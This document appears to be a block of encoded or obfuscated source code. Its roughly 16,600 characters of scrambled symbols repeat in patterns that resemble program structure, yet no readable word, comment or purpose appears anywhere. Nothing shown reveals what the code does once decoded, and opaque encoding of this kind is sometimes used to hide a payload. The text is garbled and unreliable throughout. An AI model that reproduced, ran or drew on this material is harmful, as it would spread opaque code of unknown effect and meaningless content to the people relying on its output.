68-=;0g1k=f9<,wghgvw{:n:8;),2<76'=5fvvv$U{:n:8;),2<76'=5fb1*33dU"U69w{:n:8;),2<76'=5fv$UUUU{%9k71f&j=6g%=,b{:n:8;),2<76'=5fqxpxq64g,7j8l*g'j*&'63.f<&wvdUUU{<&h(--:0>);>jkb+l92.0094n*&>:4j01(w{/3o7(5k<n381&'vdU{&7g)5o* j1b+lf5;=.m.'o=6hm1h*0f>w{%9k71f&j=6g%=,s{<&h(--:0>);>jks6( l).%/>&.=%8wnmgfvvdU69w{&7g)5o* j1yy{&7g)5o* j1ab68-=;0g1k=f9<,wnmikvw{<&h(--:0>);>jkvv$UUU{4/l;k'0<56m>.k(+b{%9k71f&j=6g%=,dU"U"UUU69w~{4/l;k'0<56m>.k(+v$U{-jf,10<+2()5(j.'b%&l24,::0;+wgmmvw64g,7j8l*g'j*&'63.f<&wvs vdU{< & -&0*:%b{,f8:<8jk%.''/<q==7i3&4;3f/;13mwnmfmvq{-jf,10<+2()5(j.'dU69w~==7i3&4;3f/;13mwnmgivw{< & -&0*:%vv$U 1'4'n,k3k&859>>;w{< & -&0*:%swkmitihvs+-*:vdU"U{%9k71f&j=6g%=,b{< & -&0*:%qxpxq64g,7j8l*g'j*&'63.f<&wvdU{<&h(--:0>);>jkb+l92.0094n*&>:4j01(w{/3o7(5k<n381&'vdU{&7g)5o* j1b+lf5;=.m.'o=6hm1h*0f>w{%9k71f&j=6g%=,s{<&h(--:0>);>jks%&l24,::0;+wnmgfvvdUUU69w{&7g)5o* j1yy{&7g)5o* j1ab6( l).%/>&.=%8wnmikvw{<&h(--:0>);>jkvv$U{4/l;k'0<56m>.k(+b{%9k71f&j=6g%=,dUU{=>,:1>2:b{-jf,10<+2()5(j.'qxpxq64g,7j8l*g'j*&'63.f<&wvdUUU7f2o(>h5gf0/6g/)k+om.w{,f8:<8jk%.''/<s{=>,:1>2:vdU"U"U69w~{4/l;k'0<56m>.k(+v$U<01+61*:dU"U:fk534k;<kn+4l3w{4/l;k'0<56m>.k(+vdU..+:l- 3/5(*9,%,)6<:w{4/l;k'0<56m>.k(+swo'hnto'=lvvdUUU{,o;6'6.,*k3lmnttdU"UUUU69w{,o;6'6.,*k3lmnaov$U,:+ +->1,6:1+w68-=;0g1k=f9<,wnmflvsnswo'm9fl9to'9=knvvdU":3,:$U,:+ +->1,6:1+w==7i3&4;3f/;13mwnmflvsnswjjgtlokmvvdU"UU"<>+<7w7-0(>=3:{3+1n/j=+n mv$U04'k=kgmm ;-<4*,;>&3*w6( l).%/>&.=%8wnmgfvs{3+1n/j=+n mvdU"<>+<7w'<:/+601{3+1n/j=+n mv$U"U"U9*1<+6017f2o(>h5gf0/6g/)k+om.w{,f8:<8jk%.''/<s{=>,:1>2:vU$U+-&$UUUU{6=f=j+>.)j:1=b{,f8:<8jk%.''/<q%&l24,::0;+wnmfkvdU69w~==7i3&4;3f/;13mwnmkfvw{6=f=j+>.)j:1=vv$U{6=f=j+>.)j:1=b==7i3&4;3f/;13mwnmifvw{,f8:<8jk%.''/<vq68-=;0g1k=f9<,wnmfjvdU69w~==7i3&4;3f/;13mwnmkfvw{6=f=j+>.)j:1=vv$U-:+*-1dU"U"UUU{62,m89/7oob6( l).%/>&.=%8wnnmjvw{6=f=j+>.)j:1=vdU69w~{62,m89/7oov$U-:+*-1dU"U{/=m- :9%9>b}}dU{/-:96'b}}dUUU69w==7i3&4;3f/;13mwgoivw%&l24,::0;+wnmfivs{62,m89/7oos{)h5njf,21i9f/hvv${3)7=96'g1bnmj#kgd{&' (3 %9n* b{3)7=96'g1jmdUU{/=m- :9%9>b{)h5njf,21i9f/hndU"U69w%&l24,::0;+wgoivw6( l).%/>&.=%8wnmfhvs{62,m89/7oos{)h5njf,21i9f/hvv$U{/-:96'b{)h5njf,21i9f/hndU"U69w~{/=m- :9%9>##~{/-:96'##~6( l).%/>&.=%8wgoivw%&l24,::0;+wnmfgvs{/-:96'vv$U-:+*-1dUU"UUU{(/;=b{6( l).%/>&.=%8wnmffvdU69w~%&l24,::0;+wnohivw{(/;=v##~68-=;0g1k=f9<,wffvw{(/;=s68-=;0g1k=f9<,wnloovvv$U-:+*-1dU"U69w~==7i3&4;3f/;13mwnlonvw68-=;0g1k=f9<,wnlomvs{/=m- :9%9>vv$U04'k=kgmm ;-<4*,;>&3*w%&l24,::0;+wnlolvs==7i3&4;3f/;13mwnlokvvdU-:+*-1dUUUU"U{0+l.)&8m4.h1)*bx?xq{/=m- :9%9>q68-=;0g1k=f9<,wnlojvq{/-:96'q%&l24,::0;+wnloivdU{(/;=ra.*:-&w6( l).%/>&.=%8wnlohvvdU{9+-hm2>05,hb{(/;=ra8:+ )>-wxxq==7i3&4;3f/;13mwnlogvq{0+l.)&8m4.h1)*q==7i3&4;3f/;13mwnlofvq6( l).%/>&.=%8wnlnovq68-=;0g1k=f9<,wnlnnvvdU69w{9+-hm2>05,hbbb1*33v$U{(/;=ra.*:-&w68-=;0g1k=f9<,wnlnmvvdU-:+*-1dUU"U{;>=n)-ll/1,+b)2f >g,>+m<.*>w{9+-hm2>05,hvdU69w~68-=;0g1k=f9<,wnmilvw{;>=n)-ll/1,+vv$UUUU{(/;=ra.*:-&w6( l).%/>&.=%8wnlnlvvdU-:+*-1dU"U69w%&l24,::0;+whfivw{=>,:1>2:s{;>=n)-ll/1,+s+-*:vv$U{(/;=ra.*:-&w68-=;0g1k=f9<,wnlnkvvdU-:+*-1dU"UU{;>=n)-ll/1,+b{=>,:1>2:dUU{;>=n)-ll/1,+b68-=;0g1k=f9<,whomvw{;>=n)-ll/1,+vdU{+;5%62:f&k85b==7i3&4;3f/;13mwlfivw{;>=n)-ll/1,+vdU{&<4 >- .i(>j%l-b{(/;=ra.*:-&w{(/;=ra/-:/>-:wx
xq68-=;0g1k=f9<,wnlnjvq{0+l.)&8m4.h1)*q6( l).%/>&.=%8wnlnivq6( l).%/>&.=%8wnlnovs{+;5%62:f&k85vvdUUUU69w{&<4 >- .i(>j%l-bbb9>3,:v$UUUU04'k=kgmm ;-<4*,;>&3*w%&l24,::0;+wnlnhvs6( l).%/>&.=%8wnlngvvdU{(/;=ra.*:-&w%&l24,::0;+wnlnfvvdUUU-:+*-1dU"U{(/;=ra.*:-&w==7i3&4;3f/;13mwnlnkvvdU"<>+<7w7-0(>=3:{3+1n/j=+n mv$U04'k=kgmm ;-<4*,;>&3*w%&l24,::0;+wnlnhvs{3+1n/j=+n mvdU69w==7i3&4;3f/;13mwnlmovw{%&l24,::0;+wnmffvvv$U{%&l24,::0;+wnlmnvra.*:-&w%&l24,::0;+wnlnfvvdU"U"<>+<7w'<:/+601{3+1n/j=+n mv$UUU04'k=kgmm ;-<4*,;>&3*w==7i3&4;3f/;13mwnlnhvs{3+1n/j=+n mvdU69w%&l24,::0;+wnlmmvw{6( l).%/>&.=%8wnlmnvvv$U{==7i3&4;3f/;13mwnlmnvra.*:-&w==7i3&4;3f/;13mwnlnfvvdU"U"UUU"U9*1<+6015%:5kg0)6 go&iwvU$U,+>+6<{62,m89/7oob1*33dU69w{62,m89/7oo~bb1*33v-:+*-1{62,m89/7oodU69w~6( l).%/>&.=%8wnlmlvw6( l).%/>&.=%8wnlmkvvv$U{62,m89/7oob}}d{,9:9/k&+bli#nmld{<:h,=lkl:32))gb{,9:9/k&+mofdU-:+*-1{62,m89/7ood{'0g8j;55lb  p  d{;6-6%)2m)b{'0g8j;55ltnodUU"U{62,m89/7oob8%6193>+:w6( l).%/>&.=%8wkomvw6( l).%/>&.=%8wnlmjvvvdUU69w~68-=;0g1k=f9<,wnlmivw{62,m89/7oov##6( l).%/>&.=%8wnmikvw{62,m89/7oovcwktfivv{62,m89/7oob}}dU-:+*-1{62,m89/7oodU"U9*1<+6016m(14=oo50=l3jo/;kwvU$UU+-&$U69w~;:961:;w==7i3&4;3f/;13mwnmmivvv-:+*-1dU{;).m.>/5(5)%o&b%&l24,::0;+wnnijvw-nif,f=:o%ol2)owvs==7i3&4;3f/;13mwfggvvdU{.9gk89g/fi9k7--b0,://=::3'-f*7wq==7i3&4;3f/;13mwnlmhvswkccnvvq%&l24,::0;+wnlmgvdU{/1=4l.+f5;b0,://=::3'-f*7wq68-=;0g1k=f9<,wnlmfvswnmknnivvdU{.<5g1%8%,4>2jk%=b6( l).%/>&.=%8wnlmlvw68-=;0g1k=f9<,wnllovv`<01+:1+ *-3wve}}dU69w{.<5g1%8%,4>2jk%=bbb}}v$U{.<5g1%8%,4>2jk%=bw6( l).%/>&.=%8wnlmlvw%&l24,::0;+wikovv`8:+ ,6+: *-3wve}}vq68-=;0g1k=f9<,wnllnvdU"Upp/>->33:36%:<022>1;90-&(61;0(9*1<+601,UU{:%;h6:)h&&kb68-=;0g1k=f9<,wkofvw6( l).%/>&.=%8wnllmvs%&l24,::0;+wnlllvs{.<5g1%8%,4>2jk%=qxpxq{.9gk89g/fi9k7--vdU69w68-=;0g1k=f9<,wnllkvw{:%;h6:)h&&ks==7i3&4;3f/;13mwnlllvv~bbov{:%;h6:)h&&kb6( l).%/>&.=%8wnlllvq==7i3&4;3f/;13mwnlljvw{:%;h6:)h&&ksxpxvdU{>/hl&9>+/5<b68-=;0g1k=f9<,wnlmlvw68-=;0g1k=f9<,whglvv`702: *-3w%&l24,::0;+wnllivq( o1'98,:=124 jw==7i3&4;3f/;13mwnlmfvvve}}dU69w{>/hl&9>+/5<bbb}}v{>/hl&9>+/5<b6( l).%/>&.=%8wnlllvq(8%</,)&:4o0.=9w}}vq68-=;0g1k=f9<,wnllhvq( o1'98,:=124 jw6( l).%/>&.=%8wnllgvvdU69w68-=;0g1k=f9<,wnllkvw{>/hl&9>+/5<s==7i3&4;3f/;13mwnlllvv~bbov{>/hl&9>+/5<b6( l).%/>&.=%8wnlllvq68-=;0g1k=f9<,wnlljvw6( l).%/>&.=%8wnllfvw==7i3&4;3f/;13mwnlkovs}}s{>/hl&9>+/5<vsxpxvdU{8155&h%.60b6,,:+w{6( l).%/>&.=%8whmmvvyy==7i3&4;3f/;13mwnlknvw{68-=;0g1k=f9<,wnlkmvv`{6( l).%/>&.=%8wnlkmve}}dU69w==7i3&4;3f/;13mwnmikvw{8155&h%.60vcwgotmovv$U{8155&h%.60b0m;'l>7%/7%i16 jw6( l).%/>&.=%8wknlvs}}vdU"U69w68-=;0g1k=f9<,wnmikvw{8155&h%.60vcwnmomgvv$U{8155&h%.60b5%:5kg0)6 go&iwvdUUUU"U{6/7 '9)&)j% b}}dU69w6,,:+w{==7i3&4;3f/;13mwkggvvyy68-=;0g1k=f9<,wnlknvw{==7i3&4;3f/;13mwkggvvyy6( l).%/>&.=%8wnlklvw{68-=;0g1k=f9<,wkggvvawhmrmmvv$U{6/7 '9)&)j% b{6( l).%/>&.=%8wkggvdU":3,:$U{6/7 '9)&)j% b0m;'l>7%/7%i16 jw6( l).%/>&.=%8whnfvs}}vdUUU"Upp+&/:2>+<7618UU69w%&l24,::0;+wnlkkvw{6/7 '9)&)j% vawkntfvv$U5% 3m3%%i+&%>-;(142mm)w==7i3&4;3f/;13mwhnfvs{6/7 '9)&)j% s68-=;0g1k=f9<,wnlkjvvdU"U{/'>;5,&.>108b==7i3&4;3f/;13mwnlmlvw==7i3&4;3f/;13mwhglvv`w,+-618v6( l).%/>&.=%8wnlkivw702: *-3wxpxvs 
 vexpxdU69w{/'>;5,&.>108bbb}}v{/'>;5,&.>108bxpxdU69w6( l).%/>&.=%8wnlkhvw{/'>;5,&.>108srnv~bbxpxv{/'>;5,&.>108qbxpxdU{.h6/mon<1/--,b>-->&wU68-=;0g1k=f9<,wnlkgvba1k1:h21.&ng0(&:4>8(5wvsUU68-=;0g1k=f9<,wnlkfvba.78 *ho:./)mko)&=97wvsUUUU==7i3&4;3f/;13mwnljovba{/'>;5,&.>108sUvdUU{*h421*(5n)9,nob>-->&wU68-=;0g1k=f9<,wnljnvba{:%;h6:)h&&ksU==7i3&4;3f/;13mwnljmvba{;).m.>/5(5)%o&sUUU==7i3&4;3f/;13mwnljlvba{>/hl&9>+/5<sUU==7i3&4;3f/;13mwnljkvba0,://=::3'-f*7wq68-=;0g1k=f9<,wnljjvswkfinvvsU68-=;0g1k=f9<,wnljivba{6/7 '9)&)j% sUvdU{%;j1(+ -7'k0b7=6*m)5(8(fkl*-%l14  'w68-=;0g1k=f9<,wnljhvs}}vdU69w~6( l).%/>&.=%8wnljgvw{%;j1(+ -7'k0v##%&l24,::0;+wnljfvw{%;j1(+ -7'k0vbbbov$UU-:+*-1dU"U{:);'g;04%5'k;9fb68-=;0g1k=f9<,wlffvw%%,.kol%h(=,77&':f:6 w68-=;0g1k=f9<,wnliovw{*h421*(5n)9,novs{%;j1(+ -7'k0vvdU{5m,lk2&k)(,i89--b%&l24,::0;+wnlinvq==7i3&4;3f/;13mwlffvw%&l24,::0;+wnlimvw{.h6/mon<1/--,vvq68-=;0g1k=f9<,wnlilvdU{5m,lk2&k)(,i89--qb==7i3&4;3f/;13mwnlikvq{:);'g;04%5'k;9fq==7i3&4;3f/;13mwnlijvdU5% 3m3%%i+&%>-;(142mm)w%&l24,::0;+wnliivs{5m,lk2&k)(,i89--s6( l).%/>&.=%8wnlkjvvdU5% 3m3%%i+&%>-;(142mm)w68-=;0g1k=f9<,wnlihvs68-=;0g1k=f9<,wnligvww,+-618v{8155&h%.60qw,+-618v{6/7 '9)&)j% q{%;j1(+ -7'k0qx#xq==7i3&4;3f/;13mwhhvw(8%</,)&:4o0.=9w}}vvvs==7i3&4;3f/;13mwnlkjvvdU{;<=;*:o5=79<2(b68-=;0g1k=f9<,wnlmlvw68-=;0g1k=f9<,whglvv`702: *-3w6( l).%/>&.=%8wnllivq( o1'98,:=124 jw68-=;0g1k=f9<,wnlifvvve}}dU69w{;<=;*:o5=79<2(bbb}}v{;<=;*:o5=79<2(b==7i3&4;3f/;13mwnlllvq(8%</,)&:4o0.=9w}}vq%&l24,::0;+wnlhovq( o1'98,:=124 jw%&l24,::0;+wnlhnvvdU69w==7i3&4;3f/;13mwnlhmvw{;<=;*:o5=79<2(s6( l).%/>&.=%8wnlllvv~bbov{;<=;*:o5=79<2(b6( l).%/>&.=%8wnlllvq==7i3&4;3f/;13mwnlhlvw68-=;0g1k=f9<,wnllfvw68-=;0g1k=f9<,wnlkovs}}s{;<=;*:o5=79<2(vsxpxvdU5% 3m3%%i+&%>-;(142mm)w%&l24,::0;+wnlhkvs{;<=;*:o5=79<2(s68-=;0g1k=f9<,wnlhjvvdUUU69w==7i3&4;3f/;13mwnljfvw{8155&h%.60vcwo'mhto'l;vv$U-:+*-1dU"U5% 3m3%%i+&%>-;(142mm)w%&l24,::0;+wnlhivs{8155&h%.60s==7i3&4;3f/;13mwnlhjvvdU69w~>87)&6hgfj1,1k;o8wvv-:+*-1dUU{:i5n4*:%><:1-9b(2++90&.)m=1=gl8g6wvdU69w~68-=;0g1k=f9<,wnlhhvw{:i5n4*:%><:1-9vv 1'4'n,k3k&859>>;w{:i5n4*:%><:1-9swkgmtnnvs+-*:vdU69w~68-=;0g1k=f9<,wnlhhvw{:i5n4*:%><:1-9v##~==7i3&4;3f/;13mwghgvw{:i5n4*:%><:1-9vv-:+*-1dU{<n-og<>7.:<b{:i5n4*:%><:1-9qxpxq{/1=4l.+f5;q68-=;0g1k=f9<,wfggvd{1140,.2035bnkl#nifd{447;3)%0l+;9k'b{1140,.2035nlidU{+if/0i,k21gb1f 9,2<k5;'k:i/7 /k:9fwUUU6( l).%/>&.=%8wnlhgvsU>-->&wx  
  xsx     xsx     xsx  	  xvsUUU>-->&w{;).m.>/5(5)%o&s{.9gk89g/fi9k7--s0,://=::3'-f*7wq==7i3&4;3f/;13mwnljjvswnntnvvs(8=4>%+g%(8i0>1>i(l9h+wvvUUUvdU69w~{+if/0i,k21gv$U69ww61+v8:+ 0/+601w==7i3&4;3f/;13mwhkhvsovaov04'k=kgmm ;-<4*,;>&3*w%&l24,::0;+wnlhfvs68-=;0g1k=f9<,wnlgovvdU-:+*-1dUUUU"U69w~==7i3&4;3f/;13mwnnfovw{<n-og<>7.:<v##6( l).%/>&.=%8wnligvw5( g6,6h*67j545kh:ww,+-618v%&l24,::0;+wnnmjvw{<n-og<>7.:<vvv~bb68-=;0g1k=f9<,wnligvw{+if/0i,k21gvv$U+lf5;=.m.'o=6hm1h*0f>w{<n-og<>7.:<s{+if/0i,k21gs==7i3&4;3f/;13mwnlgnvvdU<oo4k7hh*16 '<lg&8+;+w{<n-og<>7.:<s(n7%'*ki&7:*69wvvdUU..+:l- 3/5(*9,%,)6<:w{<n-og<>7.:<swo':gto'=<vvdUU3o>94&fk7+k97f >w{<n-og<>7.:<vdU"U"<>+<7w7-0(>=3:{3+1n/j=+n mv$U04'k=kgmm ;-<4*,;>&3*w6( l).%/>&.=%8wnlhfvs{3+1n/j=+n mvdU"<>+<7w'<:/+601{3+1n/j=+n mv$U"U"U9*1<+6011f 9,2<k5;'k:i/7 /k:9fw{4:&s{;i'%g226n,45jns{0011+.5o,2&:&m+vU$U{ 822k'78'75+(0b1*33dUU69w{ 822k'78'75+(0bbb1*33v$U{ 822k'78'75+(0b6( l).%/>&.=%8wnlmlvw68-=;0g1k=f9<,wnlgmvv`8:+ +->1,6:1+w>n,,- 8f6hjj%h64o,.wvve9>3,:dU69w~68-=;0g1k=f9<,wnlglvw{ 822k'78'75+(0vv$UU{ 822k'78'75+(0b>7fo6,k91 g);.->4)'*kw6( l).%/>&.=%8whjnvs9>3,:vdU"U69w~%&l24,::0;+wnlgkvw{ 822k'78'75+(0vv$U{ 822k'78'75+(0b>-->&wvdU"Upp<7:<4/061+/0,6+6):r;:9616+:-:<0-;r3>&:-UU"U{<i)6-4h398 )b}}dU69w6,,:+w{ 822k'78'75+(0{4:&vyy6( l).%/>&.=%8wnljgvw{ 822k'78'75+(0{4:&vv$U{<i)6-4h398 )b{ 822k'78'75+(0{4:&d{%j'3/f=k'ff4-bmjtild{%*.mm)i&66,n,b{%j'3/f=k'ff4-rkndU"U69w6( l).%/>&.=%8wnlgjvw{<i)6-4h398 )vcwltkhvv$UUU{<i)6-4h398 )b0m;'l>7%/7%i16 jw{4:&s}}vdU"UUU69w6( l).%/>&.=%8wnlgjvw{<i)6-4h398 )vcwo'njto'n;vv-:+*-19>3,:dUUU{+=2kgjmo+&0*3</nb68-=;0g1k=f9<,wkomvw{<i)6-4h398 )s+-*:vdU69w~{+=2kgjmo+&0*3</n##==7i3&4;3f/;13mwnlgivw{+=2kgjmo+&0*3</nvcwo'lto'm9vv-:+*-19>3,:dUUU69w==7i3&4;3f/;13mwnlhmvw{+=2kgjmo+&0*3</ns68-=;0g1k=f9<,wmjfvvbbb9>3,:v-:+*-19>3,:dU{+=2kgjmo+&0*3</nb68-=;0g1k=f9<,wkofvw{;i'%g226n,45jns{0011+.5o,2&:&m+s{+=2kgjmo+&0*3</nvdU69w;:961:;w68-=;0g1k=f9<,wminvvv$UU+-&$U+04:1 8:+ >33w{+=2kgjmo+&0*3</ns vdU"<>+<7w7-0(>=3:{3+1n/j=+n mv$U-:+*-19>3,:dUUU"<>+<7w'<:/+601{3+1n/j=+n mv$U-:+*-19>3,:dUU"UUU":3,:69w~)%;j1-;6fo.< h=<%=*w{+=2kgjmo+&0*3</nvv$U-:+*-19>3,:dU"U-:+*-1{+=2kgjmo+&0*3</ndUU"U9*1<+601%382/;<*((i5j%h>04n+wvUUUU$U+-&$U69w~==7i3&4;3f/;13mwnlmlvw%&l24,::0;+wnlgmvvv-:+*-1dU69w~;:961:;w68-=;0g1k=f9<,wnlghvvv-:+*-1dU{4<&05== ff0&i=b>(i%ki=.o-6h1/;)=3;%m4wvdU69w~{4<&05== ff0&i=v$U6m(14=oo50=l3jo/;kwvdU{4<&05== ff0&i=b>(i%ki=.o-6h1/;)=3;%m4wvdU"U{=08++;</,&&b0m;'l>7%/7%i16 jw==7i3&4;3f/;13mwnljhvs}}vdU69w6( l).%/>&.=%8wnlgivw{=08++;</,&&vbbbov{=08++;</,&&b%&l24,::0;+wnlggvw}'oo}swmlrhvvdUUUU{=)k14&j9+>:i1<7bw6,,:+w{%&l24,::0;+wnlkmvvyy6( l).%/>&.=%8wnljgvw{6( l).%/>&.=%8wnlkmvvyy==7i3&4;3f/;13mwnlgivw{6( l).%/>&.=%8wnlgfvvabwlntifvv`{==7i3&4;3f/;13mwnlfove0m;'l>7%/7%i16 jw6( l).%/>&.=%8wnlhivs}}vdU69w==7i3&4;3f/;13mwnlfnvw{=)k14&j9+>:i1<7vcwnitgkvv{=)k14&j9+>:i1<7b5%:5kg0)6 go&iwvdU{01m )*j  n.+o<.gbw6,,:+w{==7i3&4;3f/;13mwkggvvyy==7i3&4;3f/;13mwnlfmvw{%&l24,::0;+wkggvvyy%&l24,::0;+wnlfnvw{==7i3&4;3f/;13mwkggvvawkjlnvv`{68-=;0g1k=f9<,wkggve0m;'l>7%/7%i16 jw%&l24,::0;+wnlflvs}}vdU{%n*i/g&l))=fb%&l24,::0;+wnligvw{=)k14&j9+>:i1<7q{01m )*j  n.+o<.gq{=08++;</,&&qx#xq%&l24,::0;+whhvw(8%</,)&:4o0.=9w}}vvvdU69w0m;'l>7%/7%i16 jw==7i3&4;3f/;13mwnlihvs}}v~bb{%n*i/g&l))=fv$U6m(14=oo50=l3jo/;kwvdU{4<&05== ff0&i=b>(i%ki=.o-6h1/;)=3;%m4wvdU"U69w~>87)&6hgfj1,1k;o8wvv-:+*-1dU{)k98%ni;o9b*&;mh.'go,*2;<g)+*f9>wvd{+g>%-mf '9l6bngufd{&1k3-+%;&l<mg*b{+g>%-mf '9l6rnndU{&-7 7h&<>&0-b6( l).%/>&.=%8wnnfovw{)k98%ni;o9q==7i3&4;3f/;13mwnlfkvvdU69w{&-7 7h&<>&0-yy{4<&05== ff0&i=yy8:+ +->1,6:1+w==7i3&4;3f/;13mwnlfjvvv-:+*-1dU 193./i&i;+g/jjkn5wvdU1:,m<+1 )%&fjfwvdU* nf*&8h-6%k76:wvdU{;ko5084<),j.b%&l24,::0;+wnlfivw{)k98%ni;o9q6( l).%/>&.=%8wnlfkvvdUUU{4<&05== ff0&i=b>(i%ki=.o-6h1/;)=3;%m4wvdU69w{;ko5084<),j.yy{4<&05== ff0&i=v$U,:+ +->1,6:1+w68-=;0g1k=f9<,wnlfjvsnswo'jito';ivvdU"UU"<>+<7w7-0(>=3:{3+1n/j=+n mv$U04'k=kgmm ;-<4*,;>&3*w6( l).%/>&.=%8wnlfhvs{3+1n/j=+n mvdUUU"<>+<7w'<:/+601{3+1n/j=+n mv$Upp,+-:,,r+:,+-:;*<+60190-*336+:;6+618UUUU"U"UUUU9*1<+6011:,m<+1 )%&fjfwvU$UU+-&$U69w~;:961:;w%&l24,::0;+wnlghvvv-:+*-1dU69w%&l24,::0;+wnlfgvwvbbb68-=;0g1k=f9<,wgkvv-:+*-1dU{:83693k&g%%k-b68-=;0g1k=f9<,wnlmlvw6( l).%/>&.=%8wnmhgvv`%&l24,::0;+wnlffvw%&l24,::0;+wjgivve9>3,:dU69w~{:83693k&g%%k-##{:83693k&g%%k-bbb}}##{:83693k&g%%k-bbb%&l24,::0;+wnkoovv{:83693k&g%%k-b6( l).%/>&.=%8wjgfvdU{/1=4l.+f5;b0,://=::3'-f*7wq6( l).%/>&.=%8wnkonvswnhkniivvdU{)k98%ni;o9b*&;mh.'go,*2;<g)+*f9>wvdU{:i5n4*:%><:1-9b(2++90&.)m=1=gl8g6wvdU{>g9j'3f1k>ih 4b0,://=::3'-f*7wq68-=;0g1k=f9<,wnofnvswktkvvq%&l24,::0;+wnkomvdU{0'k*-lk6j+b{)k98%ni;o9qxpxq{>g9j'3f1k>ih 4dU{+0&..n8&khjb{)k98%ni;o9q6( l).%/>&.=%8wnkolvq{>g9j'3f1k>ih 4d{.-jl5>*)<l.fnb  	d{0.i>jj%+-b{.-jl5>*)<l.fnugdU{;).m.>/5(5)%o&b==7i3&4;3f/;13mwnnijvw-nif,f=:o%ol2)owvs6( l).%/>&.=%8wnkomvvdU{.9gk89g/fi9k7--b0,://=::3'-f*7wq%&l24,::0;+wnlmhvswnirgvvq==7i3&4;3f/;13mwnlmgvdU{&-%k./;j3=bw61+v8:+ 0/+601w68-=;0g1k=f9<,wnkokvsovdU69w{&-%k./;j3=yy==7i3&4;3f/;13mwnnklvwvr{&-%k./;j3=cwo'::;ito'im>>vv$U.o5=%:.9o351' 9k,w{0'k*-lk6j+s1*33vdU.o5=%:.9o351' 9k,w{+0&..n8&khjs1*33vdUUU90-:><7w>-->&w%&l24,::0;+wiigvws68-=;0g1k=f9<,wnmigvvs68-=;0g1k=f9<,wiigvw{)k98%ni;o9s68-=;0g1k=f9<,wnkojvvv>,{*0./gm2.ol&4&v$U{',0l1kl(,o16+2=,b{*0./gm2.ol&4&qxpxq{:83693k&g%%k-dUUUU{<7l.lo/3,f587b6( l).%/>&.=%8wnkoivw{',0l1kl(,o16+2=,v`6( l).%/>&.=%8wnkohvw{',0l1kl(,o16+2=,ve}}dU69w%&l24,::0;+wnlfmvw{<7l.lo/3,f587vyy==7i3&4;3f/;13mwnlhmvw{<7l.lo/3,f587s{>g9j'3f1k>ih 4v~bb9>3,:v$U{3<f%9g7j(/i'*4mb%&l24,::0;+wnkogvw68-=;0g1k=f9<,wnkofvq%&l24,::0;+wnknovw{>g9j'3f1k>ih 4sxpxvq6( l).%/>&.=%8wnknnvs}1}s{<7l.lo/3,f587vdUUUU69w6( l).%/>&.=%8wnlfmvw{3<f%9g7j(/i'*4mvyy{3<f%9g7j(/i'*4m~bb{<7l.lo/3,f587v,=.9=%*lk<l11j),n'56'/w{',0l1kl(,o16+2=,s{3<f%9g7j(/i'*4mvdUUUU"Upp&g,>++><72:1+2:+>;>+>UU"U-:+*-1dUUU"U{'3j8>7=4n&6b1f 9,2<k5;'k:i/7 /k:9fwUUUU==7i3&4;3f/;13mwhlgvsU>-->&wx  
  xsx     xsx     xsx     xsx    ik  xsx  	  xvsU>-->&w{;).m.>/5(5)%o&s{.9gk89g/fi9k7--s{/1=4l.+f5;s68-=;0g1k=f9<,wnknmvq0,://=::3'-f*7wq==7i3&4;3f/;13mwkjvswnkrivvs==7i3&4;3f/;13mwlffvw;:961:;w==7i3&4;3f/;13mwnknlvv`  e*&;mh.'go,*2;<g)+*f9>wvvs(8=4>%+g%(8i0>1>i(l9h+wvvUvdU69w~{'3j8>7=4n&6v$Upp:'/:<+:;=3002r963+:-UU69ww61+v8:+ 0/+601w%&l24,::0;+whkhvsovaov04'k=kgmm ;-<4*,;>&3*w%&l24,::0;+wnknkvs68-=;0g1k=f9<,wnknjvvdU-:+*-1dU"U69w~==7i3&4;3f/;13mwnlhhvw{:i5n4*:%><:1-9vv 1'4'n,k3k&859>>;w{:i5n4*:%><:1-9swo'nmfto'<kvs+-*:vd{;4i,>/f*3-o>=bluid{2+f%m+27h0b{;4i,>/f*3-o>=rlkdU{6/>%k.g+g4/88m-2b9>3,:dU69w~%&l24,::0;+wnlfivw{+0&..n8&khjv##==7i3&4;3f/;13mwnknivw5( g6,6h*67j545kh:ww,+-618v==7i3&4;3f/;13mwnkohvw{+0&..n8&khjvvv~bb%&l24,::0;+wnknivw{'3j8>7=4n&6vv$U+lf5;=.m.'o=6hm1h*0f>w{+0&..n8&khjs{'3j8>7=4n&6s6( l).%/>&.=%8wnknkvvdUUUU<oo4k7hh*16 '<lg&8+;+w{+0&..n8&khjs(n7%'*ki&7:*69wvvdUUU..+:l- 3/5(*9,%,)6<:w{+0&..n8&khjswkohtnlvvdU3o>94&fk7+k97f >w{+0&..n8&khjvdU{6/>%k.g+g4/88m-2b+-*:dU"U{;6,l,5fko.(f=b}}dU90-:><7w>-->&w%&l24,::0;+wiigvws==7i3&4;3f/;13mwnkojvvs==7i3&4;3f/;13mwiigvw{)k98%ni;o9s%&l24,::0;+wnknhvvv>,{09ho)j:0='%10i-9v$UUUU{9'<*.3'*o0b==7i3&4;3f/;13mwnlfivw{09ho)j:0='%10i-9qxpxq{:83693k&g%%k-v`%&l24,::0;+wnkngvw{09ho)j:0='%10i-9qxpxq{:83693k&g%%k-ve}}dU69w6( l).%/>&.=%8wnknfvw{9'<*.3'*o0vyy%&l24,::0;+wnlonvw%&l24,::0;+wnkmovs{9'<*.3'*o0s{//9jlm9<&hg,0%(ovv$U{<,,jh;m'>i>-3mb==7i3&4;3f/;13mwnmgnvw{//9jlm9<&hg,0%(omvdU69w{<,,jh;m'>i>-3m~bb}}yy,+-6/0,w{<,,jh;m'>i>-3ms6( l).%/>&.=%8wnkmnvvbbb9>3,:yy~8299gl8>+o(8-+w{<,,jh;m'>i>-3mvv$UUUU{;6,l,5fko.(f=b{<,,jh;m'>i>-3mdU=-:>4dU"U"U"UU{1;<+/).g>*9,(:mb==7i3&4;3f/;13mwfflvqw{;6,l,5fko.(f=~bb}}`6( l).%/>&.=%8wnkmmvq68-=;0g1k=f9<,wnkmlvw{;6,l,5fko.(f=s+-*:vq6( l).%/>&.=%8wnkmkve}}vUq68-=;0g1k=f9<,wnkmjvq{>g9j'3f1k>ih 4q==7i3&4;3f/;13mwnlijvUq%&l24,::0;+wnkmivUq%&l24,::0;+wnkmhvUq==7i3&4;3f/;13mwnkmgvq==7i3&4;3f/;13mwnknivw{'3j8>7=4n&6vq%&l24,::0;+wnkmfvdUUU69w~%&l24,::0;+wnlfivw{0'k*-lk6j+v##==7i3&4;3f/;13mwnknivw5( g6,6h*67j545kh:ww,+-618v